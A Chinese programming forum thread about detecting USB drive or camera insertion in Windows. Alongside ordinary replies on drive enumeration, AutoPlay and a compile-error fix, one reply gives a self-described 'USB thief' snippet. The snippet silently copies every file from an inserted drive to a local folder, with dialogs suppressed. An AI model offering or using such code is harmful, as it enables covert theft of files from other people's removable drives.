当有U盘或摄像头插进USB口时, 程序如何检测到
当有U盘或摄像头插进USB口时, 程序如何检测到?
嘿嘿,楼主想做的跟我最近写的一个小程序差不多。下面是我简单写的U盘小偷程序,我是用SDK方式写的,你拿去参考,转换成MFC代码也很简单的:
case WM_DEVICECHANGE: //检测USB接口的外设插入
switch((UINT)wParam)
{
case DBT_DEVICEARRIVAL:
//MessageBox(hwnd,”发现新硬件!!”,”hello”,MB_OK);
SHFILEOPSTRUCT fo;//复制文件应该放到一个线程里的
memset(&fo, 0, sizeof(fo));
fo.wFunc = FO_COPY;
fo.pFrom =”j:\\*.*”; //假设j盘是移动磁盘盘符
fo.pTo = “d:\\file”;
//全盘复制到d:\\file,够狠的,呵呵,你自己可确定个存放目录
fo.fFlags = FOF_SILENT | FOF_NOERRORUI;
//不显示复制信息的对话框,小偷嘛^_^
SHFileOperation(&fo);
break;
default:
break;
下面是查找U盘盘符的基本代码:
……
char dir[30];
for(char cc=\’A\’;cc<=\’Z\’;cc++)
{
sprintf(dir,”%c:”,cc);
if(GetDriveType((LPCTSTR)dir)==DRIVE_REMOVABLE)
brek;
//至多只能找到一个移动磁盘盘符,若有多个移动磁盘也是很容易实现的,你自己想想…..
}
………..
上面的代码还可以像下面这样的写,同样也是至多只能找到一个可以移动磁盘盘符,修改成能找到多个盘符的情况也很容易,给FindU() 传个CString类型的数组参数,让它接收盘符就可以的了:
CString FindU()
{
CString dir=””;
for(char cc=\’A\’;cc<=\’Z\’;cc++)
{
dir.Format(“%c:”,cc);
if(GetDriveType((LPCTSTR)dir)==DRIVE_REMOVABLE)
return dir;
}
return dir=” “;
}
至于要检测U盘是否已经拔除,响应相关的消息就是了,该论坛里也有高手发过相似的例子……….
http://msdn.microsoft.com/msdnmag/issues/01/11/autoplay/default.aspx
Autoplay in Windows XP: Automatically Detect and React to New Devices on a System
插入USB盘的时候电脑会自动弹出一个打开列表的窗口,询问要做什么,请问如何把我自己的程序加到这个列表中,用我的程序打开?
D:\Program Files\Windows CE Tools\wce500\test1\Include\Emulator\AYGShell.h(68) : error C2061: syntax error : identifier \’IShellPropSheetExt\’
这个错误的解决方法在stdxfx.h
#include <aygshell.h>
#include <afxwin.h> // MFC core and standard components
#include <afxext.h> // MFC extensions
#include <afxdisp.h> // MFC Automation classes
#include <afxdtctl.h> // MFC support for Internet Explorer 4 Common Controls
#ifndef _AFX_NO_AFXCMN_SUPPORT
#include <afxcmn.h> // MFC support for Windows Common Controls
#endif // _AFX_NO_AFXCMN_SUPPORT
#pragma comment( lib, “aygshell.lib” )